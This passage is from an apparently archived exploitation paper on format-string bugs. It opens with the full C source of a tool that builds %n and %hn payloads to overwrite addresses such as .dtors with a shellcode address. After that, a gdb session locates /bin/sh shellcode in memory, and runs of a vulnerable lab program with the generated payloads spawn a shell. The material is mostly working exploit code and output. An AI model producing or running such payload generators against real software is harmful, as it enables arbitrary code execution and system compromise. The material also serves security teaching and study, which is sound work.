b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
}
void usage (char *program) {
fprintf(stderr, "\n" );
fprintf(stderr, "Usage : %s [-nh] -l <retloc> -r <retaddr> -o <offset> -b <base>\n", program);
fprintf(stderr, " -n :\tFormat string with %%n\n");
fprintf(stderr, " -h :\tFormat string with %%hn\n");
fprintf(stderr, " -l <locaddr> : address to overwrite (like .dtors)\n");
fprintf(stderr, " -r <retaddr> : where we want to return (shellcode)\n" );
fprintf(stderr, " -o <offset> : distance in 'words' to reach the part of the buffer we control\n" );
fprintf(stderr, " -b <base> : amount of char previously in the string\n\n" );
}
char *nway(unsigned int retaddr, unsigned int offset,
unsigned int base) {
char *buff;
unsigned char b0, b1, b2, b3;
unsigned int length = 128;
int start = ((base / ADD) + 1) * ADD;
OCT(b0, b1, b2, b3, retaddr);
if(!(buff = (char *)malloc(256))) {
printf("Can't allocate buffer.\n");
exit(-1);
}
memset(buff, 0x00, sizeof(buff));
snprintf(buff, length,
"%%%dx%%%d$n%%%dx%%%d$n"
"%%%dx%%%d$n%%%dx%%%d$n",
b3 - sizeof(size_t) * 4 + start - base, offset,
b2 - b3 + start, offset + 1,
b1 - b2 + start, offset + 2,
b0 - b1 + start, offset + 3
);
return buff;
}
char *hnway(unsigned int retaddr, unsigned int offset,
unsigned int base) {
char *buff = (char *)malloc(256);
unsigned int low, high;
unsigned int wr1, wr2;
low = (retaddr & 0x0000ffff);
high = (retaddr & 0xffff0000) >> 16;
if (high < low) high += 0x10000;
wr1 = low - 8 - base;
wr2 = high - low;
sprintf(buff, "%%.%du%%%d$hn%%.%du%%%d$hn",
wr1, offset, wr2, offset+1);
return buff;
}
int main(int argc, char * argv[]) {
char opt;
char *fmt;
char *endian;
unsigned long locaddr;
unsigned long retaddr;
unsigned int offset, base, align = 0;
unsigned char b0, b1, b2, b3;
int length, way;
if(argc != 10) {
usage(argv[0]);
return -1;
}
length = (sizeof(size_t) * 16) + 1;
if(!(endian = (char *)malloc(length * sizeof(char)))) {
printf("Can't allocate buffer.\n");
return -1;
}
memset(endian, 0x00, length);
while((opt = getopt(argc, argv, "nhl:r:o:b:")) != EOF)
switch(opt) {
case 'n': way = 0; break;
case 'h': way = 1; break;
case 'l': locaddr = strtoul(optarg, NULL, 16); break;
case 'r': retaddr = strtoul(optarg, NULL, 16); break;
case 'o': offset = atoi(optarg); break;
case 'b': base = atoi(optarg); break;
default : usage(argv[0]); exit(-1);
}
OCT(b0, b1, b2, b3, (locaddr+4));
if(base % 4) {
align = 4 - (base % 4);
base += align;
}
if(way == 0) {
snprintf(endian, length,
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c",
b3 + 0, b2, b1, b0,
b3 + 1, b2, b1, b0,
b3 + 2, b2, b1, b0,
b3 + 3, b2, b1, b0);
fmt = nway(retaddr, offset, align);
}
else {
snprintf(endian, length,
"%c%c%c%c"
"%c%c%c%c",
b3 + 0, b2, b1, b0,
b3 + 2, b2, b1, b0);
fmt = hnway(retaddr, offset, align);
}
for(; align > 0; --align)
printf(".");
printf("%s%s\n", endian, fmt);
return 0;
}
[xgc@knowledge:~/tools/formater]$ gcc -o formater formater.c -Wall
[xgc@knowledge:~/tools/formater]$ ./formater
Usage : ./formater [-nh] -l <retloc> -r <retaddr>
-o <offset> -b <base>
-n : Format string with %n
-h : Format string with %hn
-l <locaddr> : address to overwrite (like .dtors)
-r <retaddr> : where we want to return (shellcode)
-o <offset> : distance in 'words' to reach the part of the buffer we control
-b <base> : amount of char previously in the string
[xgc@knowledge:~/tools/formater]$
In the same vulnerable example code from this paper, let's get the
necessary informations to run the builder program.
[xgc@knowledge:~/tools/formater]$ gdb ./fmt_bug -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x8048446
(gdb) run
Starting program: /home/xgc/tools/formater/fmt_bug
Breakpoint 1, 0x08048446 in main ()
(gdb) x/x $ebp+16
0xbffffac8: 0xbffffb1c
(gdb) x/x 0xbffffb1c
0xbffffb1c: 0xbffffc1c
(gdb) x/s 0xbffffc1c
0xbffffc1c: "SHELLCODE=\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200"
(gdb) x/s 0xbffffc1c+15
0xbffffc2b: "\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200"
(gdb) main info sections .dtors
Exec file:
`/home/xgc/tools/formater/fmt_bug', file type elf32-i386.
0x08049748->0x08049750 at 0x00000748: .dtors ALLOC LOAD DATA HAS_CONTENTS
(gdb) x/x 0x08049748+4
0x804974c <__DTOR_END__>: 0x00000000
(gdb) quit
The program is running. Exit anyway? (y or n) y
[xgc@knowledge:~/tools/formater]$ ./fmt_bug AAAA%6\$x
Right way:
AAAA%6$x
Wrong way:
AAAA41414141
(-) value @ 0x08049670 = 50 0x00000032
[xgc@knowledge:~/tools/formater]$
All necessary informations found.
Address to be overwritten : 0x08049748
Address to return : 0xbffffc2b
Offset : 6
Let's run the builder to show us the format string against %n and %hn way.
[xgc@knowledge:~/tools/formater]$ ./formater -n -l 0x08049748 -r 0xbffffc2b -o 6 -b 0
%283x%6$n%465x%7$n%259x%8$n%192x%9$n
[xgc@knowledge:~/tools/formater]$ ./formater -h -l 0x08049748 -r 0xbffffc2b -o 6 -b 0
%.64547u%6$hn%.50132u%7$hn
[xgc@knowledge:~/tools/formater]$
Now let's run the vulnerable program with the builder as argument expected.
[xgc@knowledge:~/tools/formater]$ ./fmt_bug `./formater -n -l 0x08049748 -r 0xbffffc2b -o 6 -b 0`
Right way:
%283x%6$n%465x%7$n%259x%8$n%192x%9$n
Wrong way:
bffffa58
bffffa68
8048429
8049750
(-) value @ 0x08049670 = 50 0x00000032
sh-2.05b$
[xgc@knowledge:~/tools/formater]$ ./fmt_bug `./formater -h -l 0x08049748 -r 0xbffffc2b -o 6 -b 0`
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
3221224056
(-) value @ 0x08049670 = 50 0x00000032
sh-2.05b$
---------[ 0x49b - Conclusion ]
The ability to overwrite any arbitrary address opens up many possibilities for exploitation.
Basically, any section of memory that is writable and contains an address that directs the flow
of program execution can be targeted.
# milw0rm.com [2006-03-09]